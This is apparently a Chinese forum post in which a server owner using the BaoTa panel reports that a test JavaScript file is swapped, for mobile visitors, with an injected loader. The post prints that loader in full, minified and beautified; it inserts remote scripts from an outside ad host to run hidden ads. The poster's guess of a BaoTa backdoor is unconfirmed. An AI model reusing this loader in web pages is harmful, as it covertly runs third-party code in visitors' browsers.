阿里云Windows2008 主机,使用的宝塔面板.
在网站根目录添加一个 index.html,一个basc.js 文件
index.html 内容
<!DOCTYPE HTML>
<html>
<head>
<title>Test</title>
<script src="basic.js"></script>
</head>
<body>
Test
</body>
</html>
basc.js 内容
console.log('123');
通过谷歌浏览器访问, F12审查元素, 切换为手机设备访问(如图)
多次刷新 发现 basc.js 内容 被替换为
!function(){var _cyd_location_url="http://www.域名.com/assets/js/index.js";var _cyd_target_url="http://cdn.5bong.com/pop/v1.js?bt=1";var _cyd_mark_tag=_cyd_location_url.indexOf("?")>-1?"&":"?";var _cyd_f_param=_cyd_mark_tag+"bt="+Date.parse(new Date());if(document.readyState=="complete"){var _cyd_location_script=document.createElement('script');_cyd_location_script.src=_cyd_location_url+_cyd_f_param;var _cyd_target_script=document.createElement('script');_cyd_target_script.src=_cyd_target_url;var s=document.getElementsByTagName("script")[0];s.parentNode.insertBefore(_cyd_location_script,s);s.parentNode.insertBefore(_cyd_target_script,s)}else{document.write('<script src="'+_cyd_location_url+_cyd_f_param+'"><\/script>');document.write('<script src="'+_cyd_target_url+'"><\/script>')}}();
美化后代码如下:
function() {
var _cyd_location_url = "http://www.域名.com/assets/js/index.js";
var _cyd_target_url = "http://cdn.5bong.com/pop/v1.js?bt=1";
var _cyd_mark_tag = _cyd_location_url.indexOf("?") > -1 ? "&" : "?";
var _cyd_f_param = _cyd_mark_tag + "bt=" + Date.parse(new Date());
if (document.readyState == "complete") {
var _cyd_location_script = document.createElement('script');
_cyd_location_script.src = _cyd_location_url + _cyd_f_param;
var _cyd_target_script = document.createElement('script');
_cyd_target_script.src = _cyd_target_url;
var s = document.getElementsByTagName("script")[0];
s.parentNode.insertBefore(_cyd_location_script, s);
s.parentNode.insertBefore(_cyd_target_script, s)
} else {
document.write('<script src="' + _cyd_location_url + _cyd_f_param + '"><\/script>');
document.write('<script src="' + _cyd_target_url + '"><\/script>')
}
}();
然后就是加载一段JS和网页, 偷偷跑着刷广告.
这难道是 宝塔的后门吗?
|
|